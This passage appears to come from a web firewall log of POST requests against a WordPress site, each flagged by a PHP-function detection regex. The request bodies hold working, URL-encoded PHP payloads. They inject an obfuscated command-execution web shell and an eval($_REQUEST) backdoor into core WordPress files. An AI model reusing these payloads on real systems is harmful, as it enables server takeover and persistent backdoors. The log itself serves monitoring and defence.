%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:46:00","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-curl.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mutex_lock%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62in%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65l%255Cx6C_%255Cx65xec%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74r%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522pas%255Cx73t%255Cx68r%255Cx75%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522pop%255Cx65%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524val%2520%252C%2520%2524pointer%2520%2529%257B%2520%2524ptr%2520%253D%2527%2527%253B%2520for%2528%2524z%253D0%253B%2520%2524z%253Cstrlen%2528%2524val%2529%253B%2520%2524z%252B%252B%2529%257B%2524ptr.%253Dchr%2528ord%2528%2524val%255B%2524z%255D%2529%255E%2524pointer%2529%253B%257D%2520return%2520%2524ptr%253B%257D%2520%2524dat%2520%253D%2520%2524mutex_lock%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%253B%2520%2524dat%2520%253D%2520service_registry%2528%2524dat%252C%252015%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524dat%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524pointer_ptr%2520%253D%2520%2524buffer_cache5%2528%2524dat%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pointer_ptr%2529%2520%257B%2520%2524hld_tkn%2520%253D%2520%2524buffer_cache6%2528%2524pointer_ptr%2529%253B%2520%2524buffer_cache7%2528%2524pointer_ptr%2529%253B%2520print%2520%2524hld_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:5216\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-curl.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mutex_lock%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62in%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65l%255Cx6C_%255Cx65xec%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74r%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522pas%255Cx73t%255Cx68r%255Cx75%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522pop%255Cx65%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524val%2520%252C%2520%2524pointer%2520%2529%257B%2520%2524ptr%2520%253D%2527%2527%253B%2520for%2528%2524z%253D0%253B%2520%2524z%253Cstrlen%2528%2524val%2529%253B%2520%2524z%252B%252B%2529%257B%2524ptr.%253Dchr%2528ord%2528%2524val%255B%2524z%255D%2529%255E%2524pointer%2529%253B%257D%2520return%2520%2524ptr%253B%257D%2520%2524dat%2520%253D%2520%2524mutex_lock%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%253B%2520%2524dat%2520%253D%2520service_registry%2528%2524dat%252C%252015%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524dat%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524pointer_ptr%2520%253D%2520%2524buffer_cache5%2528%2524dat%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pointer_ptr%2529%2520%257B%2520%2524hld_tkn%2520%253D%2520%2524buffer_cache6%2528%2524pointer_ptr%2529%253B%2520%2524buffer_cache7%2528%2524pointer_ptr%2529%253B%2520print%2520%2524hld_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:46:03","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Xu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-curl.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mutex_lock%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62in%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65l%255Cx6C_%255Cx65xec%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74r%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522pas%255Cx73t%255Cx68r%255Cx75%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522pop%255Cx65%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524val%2520%252C%2520%2524pointer%2520%2529%257B%2520%2524ptr%2520%253D%2527%2527%253B%2520for%2528%2524z%253D0%253B%2520%2524z%253Cstrlen%2528%2524val%2529%253B%2520%2524z%252B%252B%2529%257B%2524ptr.%253Dchr%2528ord%2528%2524val%255B%2524z%255D%2529%255E%2524pointer%2529%253B%257D%2520return%2520%2524ptr%253B%257D%2520%2524dat%2520%253D%2520%2524mutex_lock%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%253B%2520%2524dat%2520%253D%2520service_registry%2528%2524dat%252C%252015%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524dat%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524pointer_ptr%2520%253D%2520%2524buffer_cache5%2528%2524dat%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pointer_ptr%2529%2520%257B%2520%2524hld_tkn%2520%253D%2520%2524buffer_cache6%2528%2524pointer_ptr%2529%253B%2520%2524buffer_cache7%2528%2524pointer_ptr%2529%253B%2520print%2520%2524hld_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:5193\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJUHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nXu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-curl.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mutex_lock%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62in%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65l%255Cx6C_%255Cx65xec%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74r%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522pas%255Cx73t%255Cx68r%255Cx75%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522pop%255Cx65%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524val%2520%252C%2520%2524pointer%2520%2529%257B%2520%2524ptr%2520%253D%2527%2527%253B%2520for%2528%2524z%253D0%253B%2520%2524z%253Cstrlen%2528%2524val%2529%253B%2520%2524z%252B%252B%2529%257B%2524ptr.%253Dchr%2528ord%2528%2524val%255B%2524z%255D%2529%255E%2524pointer%2529%253B%257D%2520return%2520%2524ptr%253B%257D%2520%2524dat%2520%253D%2520%2524mutex_lock%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%253B%2520%2524dat%2520%253D%2520service_registry%2528%2524dat%252C%252015%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524dat%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524pointer_ptr%2520%253D%2520%2524buffer_cache5%2528%2524dat%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pointer_ptr%2529%2520%257B%2520%2524hld_tkn%2520%253D%2520%2524buffer_cache6%2528%2524pointer_ptr%2529%253B%2520%2524buffer_cache7%2528%2524pointer_ptr%2529%253B%2520print%2520%2524hld_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:46:05","52.232.35.131","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> uJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527cSjqYC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqHbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2078\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nuJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527cSjqYC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:46:08","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> YB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527cSjqYC%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%